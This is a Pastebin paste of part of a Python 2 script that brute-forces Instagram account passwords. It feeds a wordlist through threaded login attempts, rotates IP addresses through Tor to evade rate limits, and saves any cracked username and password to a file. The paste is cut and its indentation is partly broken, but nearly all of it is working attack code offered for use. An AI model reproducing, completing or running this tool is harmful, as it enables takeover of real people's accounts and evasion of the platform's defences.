Guest User

hujenv;ajkvn/

a guest
Dec 7th, 2017
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.95 KB | None | 0 0
  1. def kill(self,msg=None):
  2.   self.alive = False
  3.   self.stopTor()
  4.   try:
  5.    if self.isFound:
  6.     self.display(msg)
  7.     print '  [-] Password Found'
  8.  
  9.     with open('Cracked.txt','a') as f:
  10.      f.write('[-] Username: {}\n[-] Password: {}\n\n'.\
  11.      format(self.username,msg))
  12.  
  13.    if all([not self.isFound, msg]):
  14.     print '\n  [-] {}'.format(msg)
  15.   finally:exit()
  16.  
  17.  def modifylist(self):
  18.   if len(self.recentIps) == 5:
  19.    del self.recentIps[0]
  20.  
  21.   if len(self.recentIps) > 5:
  22.    while all([len(self.recentIps) > 4]):
  23.     del self.recentIps[0]
  24.  
  25.  def manageIps(self,rec=2):
  26.   ip = self.getIp()
  27.   if ip:
  28.    if ip in self.recentIps:
  29.     self.updateIp()
  30.     self.manageIps()
  31.    self.ip = ip
  32.    self.recentIps.append(ip)
  33.   else:
  34.    if rec:
  35.     self.updateIp()
  36.     self.manageIps(rec-1)
  37.    else:
  38.     self.connectionHandler()
  39.  def changeIp(self):
  40.   self.createBrowser()
  41.   self.updateIp()
  42.  
  43.   self.manageIps()
  44.   self.modifylist()
  45.   self.deleteBrowser()
  46.  def setupPasswords(self):
  47.   with open(self.wordlist,'r') as passwords:
  48.    for pwd in passwords:
  49.     pwd = pwd.replace('\n','')
  50.     if len(self.passlist) < 5:
  51.      self.passlist.append(pwd)
  52.     else:
  53.      while all([self.alive,len(self.passlist)]):pass
  54.      if not len(self.passlist): # just making sure, because self.alive could be false
  55.       self.passlist.append(pwd)
  56.   while self.alive:
  57.    if not len(self.passlist):
  58.     self.alive = False
  59.  def connectionHandler(self):
  60.   if self.wait:return
  61.   self.wait = True
  62.   print '  [-] Waiting For Connection {}...{}'.format(self.g,self.n)
  63.   while all([self.alive,self.wait]):
  64.    try:
  65.     self.updateIp()
  66.     urllib.urlopen('https://wtfismyip.com/text')
  67.     self.wait = False
  68.     break
  69.    except IOError:
  70.     time.sleep(1.5)
  71.   self.manageIps()
  72.  def attempt(self,pwd):
  73.   with self.lock:
  74.    self.tries+=1
  75.    self.createBrowser()
  76.    html = self.login(pwd)
  77.    self.deleteBrowser()
  78.    if html:
  79.     if all([not self.form1 in html,not self.form2 in html]):
  80.      self.isFound = True
  81.      self.kill(pwd)
  82.     del self.passlist[self.passlist.index(pwd)]
  83.  def run(self):
  84.   self.display()
  85.   time.sleep(1.3)
  86.   threading.Thread(target=self.setupPasswords).start()
  87.   while self.alive:
  88.    bot = None
  89.    for pwd in self.passlist:
  90.     bot = threading.Thread(target=self.attempt,args=[pwd])
  91.     bot.start()
  92.    if bot:
  93.     while all([self.alive,bot.is_alive()]):pass
  94.     if self.alive:
  95.      self.changeIp()
  96.  def display(self,pwd=None):
  97.   pwd = pwd if pwd else ''
  98.   ip = self.ip if self.ip else ''
  99.   creds = self.r if not self.isFound else self.g
  100.   attempts = self.tries if self.tries else ''
  101.   subprocess.call(['clear'])
  102.   print ''
  103.   print '   -----= Instagram =------ '
  104.   print '   Username: {}{}{}'.format(creds,self.username.title(),self.n)
  105.   print '   Password: {}{}{}'.format(creds,pwd,self.n)
  106.   print '   Proxy IP: {}{}{}'.format(self.b,ip,self.n)
  107.   print '   Attempts: {}{}{}'.format(self.y,attempts,self.n)
  108.   print ''
  109.  
  110.   if not ip:
  111.    print '  [-] Obtaining Proxy IP {}...{}'.format(self.g,self.n)
  112.    self.changeIp()
  113.    time.sleep(1.3)
  114.    self.display()
  115.  # assign arugments
  116.  args = argparse.ArgumentParser()
  117.  args.add_argument('username',help='Email or username')
  118.  args.add_argument('wordlist',help='wordlist')
  119.  args = args.parse_args()
  120.  engine = Instagram(args.username,args.wordlist)
  121.  if not os.path.exists('/usr/sbin/tor'):
  122.   try:engine.installTor()
  123.   except KeyboardInterrupt:engine.kill('Exiting {}...{}'.format(self.g,self.n))
  124.   if not os.path.exists('/usr/sbin/tor'):
  125.    engine.kill('Please Install Tor'.format(engine.y,engine.r,engine.n))
  126.  if not engine.exists(engine.username):
  127.   engine.kill('The Account \'{}\' does not exists'.format(engine.username.title()))
  128.  try:
  129.   engine.run()
  130.  finally:
  131.   if not engine.isFound:
  132.    engine.kill('Exiting {}...{}'.format(engine.g,engine.n))
  133. if __name__ == '__main__':
  134.  if not 'kali' in platform():
  135.   exit('Kali Linux required')
  136.  if os.getuid():
  137.   exit('root access required')
  138.  else:
  139.   main()
Add Comment
Please, Sign In to add comment